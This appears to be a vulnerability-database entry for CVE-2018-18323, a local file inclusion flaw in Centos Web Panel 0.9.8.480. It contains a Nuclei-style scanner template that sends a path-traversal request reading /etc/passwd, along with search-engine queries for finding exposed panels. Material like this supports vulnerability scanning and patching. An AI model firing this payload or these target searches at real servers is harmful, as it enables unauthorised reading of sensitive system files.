CVE-2018-18323: Centos Web Panel 0.9.8.480 - Local File Inclusion

2025-08-01 Centos Web Panel PoC Public

Description

Centos Web Panel version 0.9.8.480 suffers from local file inclusion vulnerabilities. Other vulnerabilities including cross-site scripting and remote code execution are also known to impact this version.

PoC

id: CVE-2018-18323

info:
  name: Centos Web Panel 0.9.8.480 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: |
    Centos Web Panel version 0.9.8.480 suffers from local file inclusion vulnerabilities. Other vulnerabilities including cross-site scripting and remote code execution are also known to impact this version.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to read sensitive files on the server.
  remediation: |
    Upgrade to a patched version of Centos Web Panel.
  reference:
    - https://packetstormsecurity.com/files/149795/Centos-Web-Panel-0.9.8.480-XSS-LFI-Code-Execution.html
    - http://centos-webpanel.com/
    - https://seccops.com/centos-web-panel-0-9-8-480-multiple-vulnerabilities/
    - https://nvd.nist.gov/vuln/detail/CVE-2018-18323
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2018-18323
    cwe-id: CWE-22
    epss-score: 0.70736
    epss-percentile: 0.99364
    cpe: cpe:2.3:a:control-webpanel:webpanel:0.9.8.480:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: control-webpanel
    product: webpanel
    shodan-query: http.title:"login | control webpanel"
    fofa-query: title="login | control webpanel"
    google-query: intitle:"login | control webpanel"
  tags: cve2018,cve,centos,lfi,packetstorm,control-webpanel,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/admin/index.php?module=file_editor&file=/../../../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100b0d056c501d8319b1d01fd55ec9a3635c31a53c9f85fe0136e6eb45920c5f30802203423334bfba2fbff43b62f75d7fd43a9fd26239d0f2a9b173d451031046586a0:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities